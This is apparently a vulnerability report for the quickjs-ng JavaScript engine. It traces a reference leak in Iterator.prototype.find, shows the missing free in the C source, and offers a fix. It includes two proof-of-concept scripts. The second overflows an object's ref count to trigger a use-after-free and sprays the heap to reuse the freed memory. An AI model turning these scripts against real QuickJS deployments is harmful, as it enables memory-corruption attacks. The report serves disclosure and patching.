Repository navigation
Description
Summary
Iterator.prototype.find leaks a reference to every element for which the predicate returns a falsy value: the current element item (a +1 reference from JS_IteratorNext) is never released on the non-matching path, unlike the sibling terminals every/some/forEach which all JS_FreeValue(ctx, item) after invoking the callback. This is a reference leak, and because quickjs-ng ref counts are a signed 32-bit int incremented with no overflow check, the leak is escalatable to a use-after-free: repeatedly leaking references to the same object overflows its ref count to a negative value, after which a single decref satisfies --ref_count <= 0 and frees the object while live references to it still exist.
Environment
quickjs-ng 0.15.1 (master)
OS : Linux x86_64
Builds used:
- Release, asserts on (-O2 -g, no NDEBUG)
- Release, asserts off (-O2 -DNDEBUG) <- for the UAF crash
PoC 1 — the leak (deterministic, immediate)
var o = {};
[o, o, o].values().find(() => false); // predicate never matches -> each element leakedWith asserts enabled this is caught at shutdown (objects still alive when the runtime is torn down):
quickjs.c:2682: JS_FreeRuntime: Assertion `list_empty(&rt->gc_obj_list)' failed.
some/every/forEach/reduce/map/filter on the same iterator do not leak, and Array.prototype.find is fine — only the Iterator.prototype.find helper leaks.
PoC 2 — escalation to use-after-free (ref-count overflow)
var o = {};
var N = 1 << 20;
var a = new Array(N).fill(o); // a[] holds N live references to o
for (let i = 0; i < 2200; i++)
a.values().find(() => false); // find leaks +N per call -> ~2^31 total -> o.ref_count wraps negative
o = null; // one decref: (--ref_count <= 0) frees o while a[] still points to it
var spray = [];
for (let k = 0; k < 300000; k++) spray.push({ marker: 0x1337 }); // reuse o's freed slot
a[0].marker; // read through a now-dangling reference -> UAFMemory stays flat during the loop (a single o plus an 8 MB array; only the ref count climbs), so the overflow is reached in a couple of minutes. Observed results:
- asserts-on build:
quickjs.c:7089: free_zero_refcount: Assertion 'JS_REF_COUNT(p) == 0' failed— the engine's own invariant catches an object being freed with a non-zero (negative) ref count, i.e. a premature free. - asserts-off build:
SIGSEGVinjs_free_value_rtwhen the runtime later freesa's dangling references to the already-freedo:
#0 js_free_value_rt
#1 JS_CallInternal
#2 js_async_function_resume
#3 js_async_function_call
#4 js_execute_sync_module
...
#9 main
Before the free, a[0].marker reads 0 (the real o); after the premature free + spray it reads (or faults on) reused memory — a dangling reference aliasing an attacker-reused object, i.e. a use-after-free with a read/write primitive.
Root cause
js_iterator_proto_func (quickjs.c:45101), FIND case:
case JS_ITERATOR_HELPER_KIND_FIND:
for (idx = 0; ; idx++) {
item = JS_IteratorNext(ctx, this_val, method, 0, NULL, &done); // item: +1
if (JS_IsException(item)) goto fail;
if (done) break;
index_val = js_int64(idx);
args[0] = item; args[1] = index_val;
ret = JS_Call(ctx, func, JS_UNDEFINED, countof(args), args);
JS_FreeValue(ctx, index_val); // frees index_val, but NOT item
if (JS_IsException(ret)) {
JS_FreeValue(ctx, item);
goto fail;
}
if (JS_ToBoolFree(ctx, ret)) {
...
r = item; // match: reference transferred to result (ok)
break;
}
index_val = JS_UNDEFINED;
ret = JS_UNDEFINED;
item = JS_UNDEFINED; // <-- non-match: item overwritten, never freed => leaked reference
}
break;Compare EVERY / SOME / FOR_EACH in the same function — each frees item immediately after JS_Call:
ret = JS_Call(ctx, func, JS_UNDEFINED, countof(args), args);
JS_FreeValue(ctx, item); // present in every/some/forEach, missing in find
JS_FreeValue(ctx, index_val);Only FIND omits JS_FreeValue(ctx, item), so each non-matching element's reference is leaked. Combined with the unchecked 32-bit ref_count (JS_REF_COUNT(p)++, quickjs.c:1628) and the free condition if (--JS_REF_COUNT(p) <= 0) (quickjs.c:7166), the leak becomes a premature free once the count overflows.
Impact
Use-after-free reachable from script via a plain builtin: leak references with iter.find(predicate), overflow the target object's ref count, then a normal decref frees it while other references remain live, giving a read/write primitive through the dangling references (the classic ref-count-overflow UAF). The leak alone is also a script-controlled memory leak (DoS).
Suggested fix
Add the missing free on the non-matching path, matching the sibling cases — free item right after the JS_Call (and keep an owned copy for the match result):
ret = JS_Call(ctx, func, JS_UNDEFINED, countof(args), args);
JS_FreeValue(ctx, index_val);
if (JS_IsException(ret)) {
JS_FreeValue(ctx, item);
goto fail;
}
if (JS_ToBoolFree(ctx, ret)) {
if (JS_IteratorClose(ctx, this_val, false) < 0)
r = JS_EXCEPTION;
else
r = js_dup(item);
JS_FreeValue(ctx, item);
break;
}
JS_FreeValue(ctx, item); // <-- the missing free
index_val = JS_UNDEFINED;
ret = JS_UNDEFINED;
item = JS_UNDEFINED;(Minimally: keep r = item; on the match path and just add a single JS_FreeValue(ctx, item); on the falsy path — that alone stops the leak, and with it the overflow/UAF.)
Credit
xmzyshypnc(@xmzyshypnc) and Yanjie Zhao(@carol233) and Yiyang Liu(@lyyffee)
Activity
Fix reference leak in Iterator.prototype.find